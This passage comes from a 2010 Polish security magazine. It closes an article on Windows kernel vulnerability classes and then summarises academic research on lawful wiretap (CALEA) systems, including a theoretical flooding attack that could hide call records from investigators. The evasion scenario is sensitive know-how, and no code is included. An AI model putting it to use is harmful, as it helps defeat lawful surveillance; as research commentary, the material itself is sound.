Page 34: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

34 HAKIN9 3/2010

LUKI BEZPIECZEŃSTWA JĄDRA WINDOWS

35 HAKIN9 3/2010

Więcej informacji na temat NULL Pointer Dereference znaleźć można w powszechnym spisie podatności CWE (ang. Common Weakness Enumeration), używając identyfikatora CWE-476.

Ujawnienie pamięci (memory disclosure)Oprócz walidacji związanej z czytaniem oraz pisaniem pod adresy przekazywane przez kod użytkownika, programista tworzący kod jądra zobligowany jest również do utrzymywania w tajemnicy wszystkich wrażliwych danych, na których operuje jego sterownik. Wymóg ten wynika z faktu, że wszelkie dane, przechowywane w przestrzeni jądra, nie powinny bez odpowiedniej kontroli przedostawać się do zwyczajnych aplikacji. Ma to związek z architekturą bezpieczeństwa systemu, która zakłada, że pamięć użytkownika jest ogólnodostępna, natomiast dostęp do wszystkich obszarów pamięci powinien być w pełni kontrolowany przez kod modułów, które na taki dostęp – pośrednio lub bezpośrednio – pozwalają.

Powodem takiego, a nie innego podejścia, jest specyfika informacji, które mogą znajdować się w górnych obszarach pamięci – które, jak pamiętamy, są współdzielone między wszystkimi istniejącymi w systemie procesami. To właśnie kernel , wraz z zewnętrznymi modułami, odpowiada za wykonywanie najbardziej krytycznych dla systemu zadań. Ponadto, kod pierścienia zerowego operuje na danych przekazywanych przez wszystkich zalogowanych w systemie użytkowników. Okazuje się więc, iż stare, nieużywane miejsca w pamięci, zawierające pozornie nic nieznaczące dane, mogą w rzeczywistości przechowywać krytyczne z punktu bezpieczeństwa systemu informacje, takie jak dane autoryzacyjne, kawałki chronionych plików, wewnętrzne struktury systemu itp. Ogromna ilość pamięci tego typu znajduje się w chronionej przestrzeni – dopóki jednak pozostanie ona nieujawniona, system pozostaje bezpieczny. Problem pojawia się w momencie, kiedy kod

jądra lub któryś ze sterowników zapomina o pełnej kontroli informacji przekazywanych użytkownikowi – sytuacja taka może mieć miejsce np. w przypadku przekazywania wartości niezainicjowanej zmiennej lokalnej (a więc znajdującej się na stosie). Kwestia ujawniania informacji kernela nie ogranicza się jednak wyłącznie do pojedynczych zmiennych o niesprecyzowanej wartości – dotyczy ona również wszelkiego rodzaju struktur oraz tablic, alokowanych dynamicznie przy użyciu mechanizmu pooli – odpowiednika sterty (heap) trybu użytkownika. Co więcej, dysponując możliwością odczytania 4 bajtów kopiowanych ze stosu sterownika za każdym wywołaniem funkcji jądra, podatność taką wykorzystywać można wielokrotnie, sukcesywnie uzyskując coraz to większą ilość śmieci, które w końcu okazać się mogą informacjami bardzo przydatnymi z punktu widzenia napastnika. Za realny przykład tego typu podatności, posłużyć może [2].

Sytuacja wyścigu (race condition)Pomimo faktu, że błędy tej klasy znajdowane są również w aplikacjach trybu użytkownika, w przypadku jądra mają one zupełnie inny charakter oraz konsekwencje. W związku z tym warto dowiedzieć się, czym skutkować może brak lub nieumiejętna synchronizacja dostępu do zasobów komputera.

Podatności należące do tej rodziny są zazwyczaj bardziej złożone, aniżeli luki związane z przepełnieniem bufora na stosie. Ma to związek z faktem, że samo zauważenie wystąpienia race condition jest w tym przypadku znacznie trudniejsze, a jego wykorzystanie wymaga zazwyczaj szerszej wiedzy oraz odrobiny szczęścia. Należy jednak zauważyć, iż sytuacja wyścigu jest jedynie powodem błędów, a nie jego skutkiem. Tak więc luki tego typu, zależnie od miejsca występowania, mogą narażać system na lokalne lub zdalne podniesienie uprawnień (Local/Remote Privilege Escalation), ujawnienie zawartości chronionych obszarów pamięci, bądź też całkowite zatrzymanie

działania systemu operacyjnego, bez możliwości jego kontynuacji (Denial of Service).

Jak wiemy, znaczna część operacji wykonywanych przez jądro ma swoje źródło w kodzie aplikacji użytkownika, wykorzystującej funkcjonalności udostępniane przez kernel . Co więcej, programy te posiadają znaczną (choć pośrednią) kontrolę nad obiektami i zasobami, z których korzysta bardziej uprzywilejowany kod jądra. W dobie wielordzeniowych platform oraz szeroko rozwiniętego wsparcia wielowątkowości, jest niezwykle łatwo o sprowokowanie sytuacji, w której dwa niezależne wątki wykonują operacje na tym samym obiekcie, nie zdając sobie z tego sprawy. Co ciekawe, tego typu sytuacja może nieść za sobą różnego rodzaju zagrożenia, takie jak:

• Próba dostępu do nieistniejącego obszaru pamięci (wyjątek Access Violation).

• Próba dostępu do wskaźnika zerowego (NULL Pointer Dereference).

• Wzajemne zakleszczenie, w konsekwencji blokada systemu (Deadlock).

Jak widać, wykorzystanie znalezionego błędu typu race condition prowadzić może do wielu niepożądanych efektów – powód jego występowania jest jednak zawsze taki sam – błędna synchronizacja dostępu do krytycznych, globalnych obiektów systemowych. Synchronizacja taka polega zazwyczaj na przydzielaniu dostępu do pewnego zasobu tylko jednemu wątkowi w danym momencie. System Windows udostępnia kilka mechanizmów mających na celu utrzymanie poprawnej synchronizacji – są to m.in. muteksy, semafory oraz sekcje krytyczne. Należy jednak zauważyć, że sam fakt użycia jednego z powyższych inter fejsów nie świadczy jeszcze o bezpieczeństwie kodu – znaczna część błędów polega na ich złym zastosowaniu. Oznacza to, iż zbyt wąskie ograniczenia synchronizacji prowadzić mogą do możliwości wykonywania operacji na dzielonym

Page 35: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

34 HAKIN9 3/2010

LUKI BEZPIECZEŃSTWA JĄDRA WINDOWS

35 HAKIN9 3/2010

obiekcie – czego chcemy przecież uniknąć. Z drugiej strony, ograniczenia zbyt szerokie powodować mogą nieprzewidziane blokady systemu, co również nie jest zjawiskiem pożądanym. Podstawowym dokumentem, z którym powinien zapoznać się początkujący programista trybu jądra jest ar tykuł [3] .

Sam proces wykorzystywania sytuacji wyścigu sprowadza się najczęściej do stworzenia dwóch równoległych wątków, wywołujących w tym samym czasie wadliwe funkcje jądra, operujące na tych wspólnych obiektach, które w wyniku błędu synchronizacji dostępu, zostają w pewnym momencie uszkodzone.

Praktycznymi przykładami wykorzystania sytuacji wyścigu do podniesienia uprawnień w systemie są m.in. [4] (Windows) oraz [5] (FreeBSD).

Zapobieganie wykorzystania błędówProgramista, tworzący kod działający w środowisku jądra zobligowany jest do szczególnego przestrzegania zasad bezpieczeństwa – skutki wykorzystania

podatności znajdującej się w jego kodzie może nieść za sobą poważne konsekwencje. Jedną z nich jest wysokie prawdopodobieństwo zatrzymania ciągłości działania maszyny bądź większej infrastruktury, w przypadku każdego nieprzewidzianego wyjątku – ma to szczególne znaczenie w przypadku systemów Windows obsługujących platformy serwerowe.

Fakt ten jest jednak równie istotny dla potencjalnego napastnika, dla którego każda nieudana próba przejęcia kontroli nad systemem przy użyciu wadliwego kodu ring-0 oznacza crash atakowanego systemu, co prawie na pewno zwróci uwagę administratora. Z drugiej strony, w takiej sytuacji wykonywanie ataków typu Denial of Service okazuje się niezwykłe łatwe, aż do momentu zablokowania felernej usługi (co w większości przypadków uczynić musi sam administrator systemu).

Co więcej, w dzisiejszych czasach proces tworzenia stabilnych exploitów wykorzystujących podatności trybu użytkownika jest znacząco utrudniony, ze

względu na mechanizmy, wprowadzane zarówno po stronie systemu, jak i platformy sprzętowej. Mowa tutaj o funkcjonalnościach takich jak DEP, ASLR , SafeSEH czy ochrona sterty. Dzięki ich istnieniu, koder musi wykazać się znacznie wyższymi umiejętnościami oraz wyobraźnią, by uporać się z wymienionymi przeszkodami. Ze względu na specyfikę wykonywanych operacji, znaczna część powyższych mechanizmów nie może być zastosowana w odniesieniu do jądra – mogłoby to nieść za sobą głównie spadek efektywności systemu, co w przypadku kernela jest czynnikiem bardzo istotnym. Z tego względu, unika się ubierania często używanych struktur systemowych (takich jak poole) w dodatkowy kod weryfikujący ich poprawność (zmienia się to w Windows 7). Obecną sytuację można więc bez wątpienia uznać za korzystną dla potencjalnego napastnika. Należy jednak pamiętać, że nawet w przypadku zupełnego braku zabezpieczeń struktur systemowych przed niepożądanymi operacjami, na hakera czyhającego na nasz system czeka wiele innych przeszkód, zwłaszcza, jeśli mowa o podatnościach zdalnych.

PodsumowanieKod rdzenia systemu operacyjnego, jak również wszystkie aktywne moduły jądra tworzone są przez ludzi, w konsekwencji nie są więc wolne od często spotykanych błędów. Okazuje się, że podobne luki bezpieczeństwa spotykane są zarówno w aplikacjach codziennego użytku, jak i najważniejszych elementach systemu operacyjnego. Zmieniają się jednak właściwości oraz sposób ich wykorzystania, a wiele technik eksploitacji wciąż czeka na odkrycie – szczególnie zachęcam więc Czytelnika do przeprowadzania własnych eksperymentów w tym obszarze.

Warto zobaczyć• [1] http://www.securityfocus.com/bid/36038 – Linux Kernel 'sock_sendpage()' NULL Pointer

Dereference Vulnerability,• [2] http://www.securityfocus.com/bid/36827 – Linux Kernel 2.4 and 2.6 Local Information

Disclosure Vulnerability,• [3] http://msdn.microsoft.com/en-us/library/ms686353(VS.85).aspx – Synchronization

(MSDN),• [4] http://www.securityfocus.com/bid/23367 – Windows VDM Zero Page Race Condition

Local Privilege Escalation Vulnerability,• [5] http://www.securityfocus.com/bid/36101 – *BSD 'kevent()' Race Condition Vulnerability,

W Sieci• http://www.metasploit.com/users/opcode/syscalls.html – baza definicji wywołań

systemowych jądra Windows,• http://j00ru.vexillium.org/win32k_syscalls/ – lista graficznych wywołań systemowych

Windows,• http://code.google.com/p/ioctlfuzzer – strona projektu IOCTL Fuzzer,• http://www.matousec.com/projects/bsodhook – strona domowa projektu BsoDhook,• http://www.uninformed.org/?v=all&a=39&t=sumry – Getting out of Jail: Escaping Internet

Explorer Protected Mode, • http://www.securityfocus.com/bid/20360/info – Symantec AntiVirus IOCTL Kernel

Privilege Escalation Vulnerability,• http://www.ntinternals.org/index.php#09_07_30 – Win32k.sys Local Privilege Escalation,• http://blogs.technet.com/srd/archive/2009/05/26/safe-unlinking-in-the-kernel-pool.aspx

- Safe Unlinking in the Kernel Pool.

Mateusz „j00ru” JurczykResearcher, pentester, reverse-engineer, na co dzień pracujący jako spec. ds. bezpieczeństwa w międzynarodowej firmie zajmującej się bezpieczeństwem komputerowym (Hispasec). Autor bloga http://j00ru.vexillium.org/. Kontakt z autorem: [email protected]

Page 36: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

36 HAKIN9

ATAK

3/2010

W mediach często pojawiają się wiadomości o tym, że taka czy inna służba państwowa dowiedziała się

czegoś za pomocą podsłuchu telefonicznego. Prawie nic nie wiadomo natomiast o konkretnych technikach wykorzystywanych przez te służby, gdyż wszelkie informacje są tajne. Tym ciekawsze są wszelkie okruchy wiedzy, które można znaleźć w ogólnie dostępnych materiałach, pod warunkiem, że pochodzą z wiarygodnego źródła. Za takie źródło może być uznany zespół badaczy z wydziału informatyki Uniwersytetu w Pensylwanii, którego członkowie od pewnego czasu publikują artykuły w tej materii, proponując w nich metody przeciwdziałania podsłuchom. Ten artykuł relacjonuje i komentuje uzyskane przez nich wyniki.

Wiele z pojęć używanych w tekście nie ma odpowiedników w języku polskim, przynajmniej w źródłach, do których udało się dotrzeć. Przyjęto zasadę, że zamiast wymyślać na poczekaniu własne tłumaczenia takich terminów wszystkie cytuje się w brzmieniu oryginalnym lub używa akronimów. Unika się przez to możliwych nieporozumień i niejednoznaczności, a także ułatwia wyszukiwanie dalszych informacji na interesujące Czytelnika tematy.

Specyfikacja techniczna systemów prowadzenia legalnych podsłuchów wynika z przepisów prawa obowiązujących w danym

MAREK NOWAK

Z ARTYKUŁU DOWIESZ SIĘjak działają rządowe systemy podsłuchiwania rozmów w sieciach telekomunikacyjnych,

jak osoba podsłuchiwana może uniemożliwiać działanie podsłuchu.

CO POWINIENEŚ WIEDZIEĆco to jest atak DoS,

podstawowe wiadomości o sieciach telekomunikacyjnych.

kraju. W Stanach Zjednoczonych reguluje to ustawa Communication Assistance of Law Enforcemet Act (w skrócie CALEA) z roku 1994, z późniejszymi poprawkami. Opisuje ona standardowe inter fejsy urządzeń podsłuchowych i wszyscy operatorzy telekomunikacyjni działający w kraju muszą się do niej stosować. Można z dużym prawdopodobieństwem założyć, że systemy stosowane w innych krajach są kompatybilne z tym standardem, choćby dlatego, że koszty stworzenia alternatywnego rozwiązania są bardzo wysokie.

Motywacją dla wprowadzenia ustawy CALEA był rozwój technologii

Stopień trudności

Rozmowy kontrolowaneSłużby państwowe mogą podsłuchiwać użytkowników telefonów, wykorzystując urządzenia stanowiące integralną część telekomunikacyjnych, zarówno stacjonarnych, jak i komórkowych. Jakie informacje na temat architektury tych tajnych systemów są publicznie dostępne? Okazuje się, że możliwe jest przeprowadzenie ataku DoS na system podsłuchowy.

Ciekawostka filmowaW filmie Quentina Tarantino Pulp Fiction , nakręconym w 1994 roku, można znaleźć taką scenę: Lance (hipis, dealer narkotyków) dowiaduje się że Vincent Vega dzwoni do niego przez telefon komórkowy. Lance natychmiast zaczyna krzyczeć, że nie zna Vincenta i nazywa całą rozmowę żartem telefonicznym (prank call ), po czym rzuca słuchawką. Wygląda na to, że uważa telefony komórkowe za bardziej zagrożone podsłuchem niż stacjonarne. Może mieć rację – ustawa CALEA została wprowadzona w tym właśnie roku i jest możliwe, że starsze centrale telefoniczne nie wspierały jeszcze tej technologii.

Page 37: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

37 HAKIN9

ROZMOWY KONTROLOWANE

3/2010

telekomunikacyjnych. Pojawianie się nowych usług telefonicznych, takich jak przekierowywanie numerów i upowszechnianie telefonii komórkowej spowodowało, że starsze technologie podsłuchowe pozostawały w tyle. Standard był następnie rozwijany w miarę pojawiania się nowych technologii i obecnie umożliwia przechwytywanie każdego rodzaju danych, w tym także protokołów internetowych i technologii VoIP.

Temat podsłuchów jest kontrowersyjny, gdyż pozwalają one na bardzo głęboką ingerencję państwa w prywatność obywateli. W związku z tym powinny one być poddane szczegółowej kontroli. W Stanach Zjednoczonych policje stanowe i federalne nie mogą monitorować niczyich rozmów bez nakazu sądowego. Dodatkowo istnieją dwa rodzaje podsłuchów. Pierwszy, nazywany pen register, umożliwia zbieranie danych w ograniczonym zakresie, na przykład: kto, z kim, kiedy i jak długo rozmawiał. Drugi umożliwia rejestrowanie pełnej treści rozmów, ale uzyskanie zgody sądu na podsłuch jest w tym przypadku trudniejsze i wymaga przedstawienia bardziej konkretnych dowodów.

Techniki podsłuchuIstnieje wiele metod podsłuchiwania rozmów telefonicznych. Różnią się one głównie miejscem gdzie odbywa się przechwytywanie sygnału pochodzącego od podsłuchiwanej osoby. Wybór konkretnej metody zależy od technologii komunikacyjnej używanej przez abonenta, a także od tego do jakich elementów sieci telekomunikacyjnej osoba podsłuchująca może uzyskać dostęp.

Najbardziej chyba znanym sposobem jest wykorzystanie tak zwanej pluskwy, czyli urządzenia rejestrującego zainstalowanego w aparacie telefonicznym. Wykorzystanie tej metody najczęściej wymaga uzyskania fizycznego dostępu do aparatu telefonicznego. W ostatnim czasie pojawiła się tu istotna nowość: w miarę jak telefony stają się coraz bardziej skomplikowane zaczynają się pojawiać

metody podsłuchu programowego, to znaczy z wykorzystaniem złośliwego kodu umieszczonego na telefonie. Dzięki temu można zainstalować podsłuch zdalnie, na przykład za pośrednictwem Bluetooth. Pomimo tych udogodnień zarówno podsłuchy sprzętowe, jak i programowe mają istotne wady: są ograniczone do konkretnego modelu aparatu lub określonego oprogramowania. Jeśli więc jakaś organizacja chce prowadzić podsłuchy tym sposobem, musi posiadać metody przystosowane do każdego typu aparatu w użyciu, co jest kosztowne i trudne. Ponadto, użytkownik może w stosunkowo prosty sposób wykryć i usunąć tego typu podsłuch – ma pełen dostęp do własnego telefonu i może go rozebrać na części, a także zmienić jego oprogramowanie. W związku z tym ta metoda jest używana głównie w sytuacji, kiedy podsłuchujący nie ma możliwości uzyskania dostępu do innych elementów sieci telekomunikacyjnej.

Kolejna metoda podsłuchu polega na przechwytywaniu sygnałów pomiędzy aparatem telefonicznym abonenta a dostawcą usług telekomunikacyjnych i wśród amerykańskich operatorów telekomunikacyjnych jest znana jako Local loop extending . Była ona bardzo często stosowana przed upowszechnieniem się telefonów komórkowych. Wynika to z faktu, że w przypadku telefonu stacjonarnego wystarczy znaleźć dwa przewody prowadzące do konkretnego abonenta i podłączyć do nich urządzenie rejestrujące. Mając dostęp do centralki telefonicznej można to łatwo wykonać bez wiedzy użytkownika. Metoda wymaga jednak istnienia fizycznego podłączenia urządzenia podsłuchowego do linii abonenta, co wpływa na jej parametry fizyczne. Zazwyczaj używa się tu specjalnych układów elektronicznych, izolujących aparaturę podsłuchową i wzmacniających sygnał tak, aby użytkownik telefonu niczego nie podejrzewał. Mimo tego, niekiedy podsłuch może być wykryty z zastosowaniem specjalistycznej

aparatury pomiarowej. W przypadku błędnej instalacji zdarza się nawet, że niekiedy można usłyszeć w słuchawce dziwne dźwięki spowodowane pracą urządzenia rejestrującego.

Opisana powyżej metoda straciła na znaczeniu wraz z upowszechnieniem się telefonów komórkowych – w ich przypadku nie ma kabla, do którego można się podpiąć, gdyż połączenie pomiędzy użytkownikiem a operatorem wykorzystuje fale radiowe. Istnieją metody umożliwiające podsłuch sygnału GSM, ale wymagają wykorzystania drogiego sprzętu, a także przełamania zabezpieczeń kryptograficznych – więcej na ten temat można znaleźć w artykule Podsłuch GSM, który można znaleźć w wydaniu hakin9 z września 2009 roku. Do problemów technicznych dochodzą różne problemy praktyczne, wynikające choćby z tego, że użytkownik telefonu komórkowego może się przemieszczać, a aparatura podsłuchowa ma ograniczony zasięg. Widać więc, że Local loop extending może być w praktyce stosowane tylko dla telefonów stacjonarnych. W związku z tym pojawiła się potrzeba wprowadzenia bardziej uniwersalnych rozwiązań.

We współczesnych metodach legalnych podsłuchów przechwytywanie sygnału wykonuje się wewnątrz sieci operatora telekomunikacyjnego. W sieciach szkieletowych nowoczesnych systemów telekomunikacyjnych dane są przesyłane w postaci pakietów przy wykorzystaniu protokołu IP lub innych. Podsłuch, ogólnie rzecz biorąc, odbywa się na urządzeniach pełniących w tych sieciach funkcje switchy, a więc przełączających pakiety. Pakiety zawierające dane użytkownika podsłuchiwanego są kopiowane, a kopia jest przesyłana do specjalnego urządzenia w sieci dostawcy telekomunikacyjnego. Urządzenie to dekoduje pakiety i przekazuje odpowiednie informacje do organizacji podsłuchującej. Dzięki temu, osoba podsłuchiwana nie ma możliwości wykrycia podsłuchu za pomocą swojego aparatu. Dodatkowo, takie podejście ułatwia przechwytywanie

Page 38: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

38 HAKIN9 3/2010

ROZMOWY KONTROLOWANE

39 HAKIN9 3/2010

danych innych niż tradycyjne rozmowy głosowe, takich jak SMSy czy komunikacja internetowa.

Architektura systemów podsłuchowychOgólny schemat systemu podsłuchowego spełniającego wymogi CALEA jest przedstawiony na Rysunku 1. Widać na nim, że określone urządzenia w sieci telekomunikacyjnej działają jako Interception Access Points (IAP) i przekazują dane do urządzenia działającego jako Delivery Function (w skrócie DF). Dane te obejmują informacje o połączeniach oraz, w wypadku uzyskania odpowiedniej zgody, także treść komunikacji. DF agreguje otrzymane dane i przesyła je do Collection Function (CF). CF jest utrzymywane przez organizację, która prowadzi dany podsłuch i zajmuje

się odbieraniem i składowaniem uzyskanych danych.

Specyfikacja protokołu przesyłu danych pomiędzy DF a CF jest zawarta w standardzie ANSI / J-STD-025B, znanym jako J-standard. Według niego, podstawowe informacje identyfikujące działania użytkownika są przesyłane przez kanał nazywany Call data channel (w skrócie CDC) za pomocą protokołu LAESP (Lawfully Authorized Electronic Surveillance Protocol ). Przykładowe typy wiadomości przesyłane tym kanałem to:

• Origination – użytkownik próbuje nawiązać połączenie głosowe,

• TerminationAttempt – inna osoba próbuje nawiązać połączenie głosowe z użytkownikiem,

• Redirection – inna osoba próbuje nawiązać połączenie głosowe

z użytkownikiem i rozmowa jest przekierowana na inny numer,

• Answer – użytkownik odpowiedział na przychodzące połączenie głosowe (podniósł słuchawkę),

• Release – użytkownik zakończył połączenie głosowe,

• PacketDataEstablishment – użytkownik nawiązuje połączenie pakietowe (na przykład połączenie IP),

• PacketDataTermination – użytkownik kończy połączenie pakietowe (na przykład zrywa połączenie IP),

• NetworkSignal – urządzenie sieci telekomunikacyjnej (IAP) przesyła użytkownikowi sygnał (na przykład sygnał linii zajętej),

• SubjectSignal – użytkownik przesyła sygnał do urządzenia w sieci telekomunikacyjnej (na przykład sygnał zakończenia rozmowy),

• ServingSystem – telefon komórkowy użytkownika przełącza się do innego obszaru (komórki) sieci.

Jak widać, nawet podstawowy rodzaj podsłuchu (pen register ) umożliwia zbieranie bardzo dokładnych danych na temat działań użytkownika. Warto zwrócić uwagę, że w przypadku telefonii komórkowej na podstawie wiadomości typu SubjectSignal, NetworkSingal i ServingSystem można określić lokalizację podsłuchiwanego użytkownika.

Dodatkowo, jeśli udało się uzyskać zgodę na pełny podsłuch, zawartość komunikacji jest przesyłana za pomocą kanałów Call content channels (w skrócie CCC). W uproszczeniu obowiązuje tutaj zasada, że jeden kanał CCC jest przeznaczony do przesyłania danych określonego typu. Przykładowo,

Rysunek 1. Schemat systemu podsłuchowego

Pen registerPen register to zwyczajowa nazwa urządzenia stosowanego do rejestrowania sygnałów przesyłanych na linii. Pochodzi ona jeszcze z czasów telegrafów. Istniały wtedy maszyny, zapisujące sygnał w alfabecie Morse’a w postaci kresek i kropek na papierowych taśmach. Wykorzystywały one elektromagnes do sterowania ruchem pióra.

Page 39: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

38 HAKIN9 3/2010

ROZMOWY KONTROLOWANE

39 HAKIN9 3/2010

jeśli użytkownik ma abonament telefoniczny z dostępem do Internetu, otwiera się dla niego jeden kanał CDC i dwa kanały CCC: jeden przekazujący tradycyjne rozmowy głosowe i drugi, przekazujący dane internetowe. Dane te są przesyłane bez żadnych zmian, dokładnie w takiej postaci, w jakiej wysyła lub otrzymuje je użytkownik. Do sterowania tymi kanałami wykorzystuje się wiadomości przekazywane protokołem CDC.

Warto zwrócić uwagę, że o ile każdy z kanałów CCC przesyła dane od tylko jednego użytkownika to kanał CDC może być wspólny dla kilku podsłuchów. Oznacza to, że każda wiadomość przesyłana tym kanałem musi zawierać identyfikator podsłuchu, do którego należy. Dodatkowo, każda wiadomość zawiera znacznik czasowy a niekiedy także identyfikator IAP, z którego wiadomość pochodzi. Dodatkowo, dane przesyłane tym kanałem mogą zostać częściowo zdekodowane, na przykład identyfikator urządzenia może zostać zamieniony na czytelny dla człowieka tekst, określający jego lokalizację. Dodatkowo, wiadomości zawierają wiele znaczników i pól warunkowych, odnoszących się do konkretnych technologii telekomunikacyjnych – przykładowo, wiadomość typu Orgination może zawierać różne dane w zależności od tego czy podsłuchiwany jest telefon stacjonarny, czy komórkowy. Połączenie tych czynników sprawia, że wiadomość przesyłana kanałem CDC może być znacznie większa od wiadomości wysłanej przez użytkownika.

Protokół LAESP nie przewiduje dodawania do wiadomości sum kontrolnych umożliwiających weryfikację ich poprawności. Nie przewiduje też

przesyłania numerów sekwencji, które można by wykorzystać do wykrycia braku niektórych wiadomości. W przypadku protokołów działających w obrębie wewnętrznej sieci operatora telekomunikacyjnego (sieć szkieletowa, Core network) takich zabezpieczeń często się nie stosuje – sieci te są z zasady dobrze zabezpieczone przed utratą danych.

CALEA i J-standard nie opisują technicznych wymagań co do połączenia sieciowego pomiędzy siecią telekomunikacyjną a instytucją prowadzącą podsłuch. W załącznikach tych dokumentów można jednak znaleźć informacje o konfiguracji preferowanej przez stronę rządową. Przewiduje ona, że połączenie odbywa się za pomocą pewnej liczby pojedynczych linii telefonii ISDN. Linia ISDN może działać jako zwykła stacjonarna linia telefoniczna albo przesyłać dane z maksymalną prędkością 64 kb/s. Jedna taka linia obsługuje jeden kanał zdefiniowany w protokole J-standard – podsłuch dla

użytkownika z powyższego przykładu, posiadającego usługi rozmów głosowych i dostęp do Internetu, wymagał będzie trzech linii: jednej na kanał CDC (zawierający wiadomości o połączeniach) i dwóch na kanały CCC: przesyłający komunikację internetową użytkownika i rozmowy głosowe. Wydaje się, że wybór takiego połączenia mógł być podyktowany chęcią wykorzystania istniejącego okablowania strukturalnego. Oddzielne linie telefoniczne mogły być wykorzystywane do przesyłania analogowych rozmów głosowych pochodzących z podsłuchów typu loop extender.

Słabości systemuZ informacji przedstawionych powyżej wynika, że możliwe jest przeprowadzenie ataku DoS (Denial of Service) przeciwko kanałowi CDC, polegającego na nasyceniu go, czyli zmuszeniu do przesyłania większej liczby danych niż wynosi jego przepustowość. W takim przypadku niektóre wiadomości na

Rysunek 2. Od takich urządzeń wzięła się nazwa pen register

Rysunek 3. Loop extender analogowej linii telefonicznej z lat sześćdziesiątych, z możliwością podłączenia magnetofonu

Page 40: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

40 HAKIN9 3/2010

tym kanale mogą nie zostać wysłane. Protokół LASEP nie definiuje żadnych sposobów weryfikacji poprawności i kompletności przesyłanych danych, więc utrata pewnej liczby wiadomości pozostanie niezauważona. Spowoduje to, że Collection function instytucji prowadzącej podsłuch zarejestruje informację niekompletną lub nawet niczego nie zarejestruje. Dodatkowo, wiadomości przesyłane kanałem CDC są wykorzystywane do sterowania rejestracją danych z kanałów CCC, więc ich brak może spowodować zakłócenia w rejestracji lub interpretacji tych danych.

Przeprowadzenie ataku tego typu dodatkowo ułatwiają inne właściwości protokołu CDC. Zawiera on liczne pola nie występujące w komunikatach użytkownika (identyfikator podsłuchu, znaczniki czasowe itp.), co powoduje, że w niektórych przypadkach musi on przesyłać znacznie więcej informacji niż przesyłał użytkownik. Z drugiej strony, 64 kb/s jest wartością bardzo małą i większość abonentów współczesnych sieci komunikacyjnych dysponuje znacznie większą przepustowością. Dalsze konsekwencje wynikają z tego, że jeden kanał CDC może obsługiwać kilka podsłuchów. Nie tylko zwiększa to ilość przesyłanych danych, ale także

powoduje, że wszystkie podsłuchy wykorzystujące ten kanał są zagrożone atakiem i mogą działać nieprawidłowo.

Przykładowy scenariusz atakuJednym z najprostszych scenariuszy ataku przedstawionych przez badaczy wymaga tylko dowolnego telefonu z funkcją dostępu do Internetu i możliwością uruchamiania programów użytkownika – warunki te spełnia większość obecnych w sprzedaży modeli telefonów. Atak polega na tym, że na ułamek sekundy przed rozpoczęciem połączenia głosowego telefon osoby podsłuchiwanej zaczyna masowo inicjować połączenia IP z dowolnymi komputerami. W wyniku tego kanał CDC zostaje przepełniony wiadomościami typu PacketDataEstablishment , co może spowodować utratę niektórych lub wszystkich wiadomości o nawiązaniu połączenia głosowego (Origination, Answer itp.). Jeśli tak się stanie to rozmowa może trwać bez przeszkód i bez dalszych specjalnych działań. Podobnie, nawiązanie wielu jednoczesnych połączeń IP przez odłożeniem słuchawki może spowodować utratę wiadomości o zakończeniu połączenia. W najlepszym przypadku, IF nie otrzyma żadnych informacji o odbytej rozmowie, a nawet nie będzie wiadomo, że taka rozmowa się odbyła.

Liczba połączeń, które należy nawiązać, aby osiągnąć efekt nasycenia kanału CDC, zależy od rozmiaru wiadomości PacketDataEstablishment. Zawiera ona jednak obiekty o nieznanej wielkości i jej całkowita długość nie jest znana. Biorąc pod uwagę długości adresów i innych pól, które muszą się w niej znaleźć, autorzy określili jej minimalny rozmiar i na tej podstawie stwierdzili, że wystarczy zainicjować 40 połączeń w ciągu sekundy. Nawet najstarsze

technologie dostępu do Internetu dla telefonów komórkowych będące w użyciu oferują wystarczający do tego transfer.

PodsumowanieAutorzy artykułu nie byli w stanie przeprowadzić żadnego skutecznego ataku na system podsłuchowy. Nie powinno to dziwić, gdyż infrastruktura podsłuchowa nie jest udostępniana osobom postronnym, zwłaszcza takim, które szukają w niej słabych punktów. Przedstawiony scenariusz ataku pozostaje więc czysto teoretyczny, a niektóre założenia wydają się wątpliwe.

Atak jest możliwy przede wszystkim dlatego, że przepustowość kanału danych CDC jest zbyt mała i nie odpowiada rzeczywistym potrzebom. Aby uniemożliwić atak wystarczy wykorzystać szybsze połączenie.

Autorzy zakładają też, że wiadomości, które nie mogą być w danej chwili wysłane, są usuwane. W istotnych systemach sieciowych implementuje się różnego typu mechanizmy zabezpieczające przed chwilowym zanikiem połączenia, a to że standard o nich nie wspomina nie znaczy, że ich nie ma. Rozwiązanie takie może polegać na tym, że niewysłane wiadomości trafiają do bufora, gdzie oczekują aż połączenie ponownie stanie się dostępne. Działanie takiego zabezpieczenia również uniemożliwiłoby przeprowadzenie ataków opisanych w artykule.

Dodatkowo, metoda ta nie gwarantuje usunięcia śladów rozmowy z innych miejsc systemu telekomunikacyjnego. Przykładowo, dane o połączeniach telefonicznych abonenta można, z pewnym opóźnieniem, uzyskać za pomocą systemu bilingowego (odpowiedzialnego za płatności), na który opisany atak nie ma wpływu. Pomimo tego, badania te pozostają ciekawym źródłem informacji dla osób zainteresowanych tematyką informatyki śledczej.

Literatura• M. Sherr, G. Shah, E. Cronin, S. Clark, M. Blaze. Can they hear me now? A security analysis

of law enforcement Wiretaps, Listopad 2009,• M. Sherr, E. Cronin, S. Clark, M. Blaze. Signaling vulnerabilities in wiretapping systems.

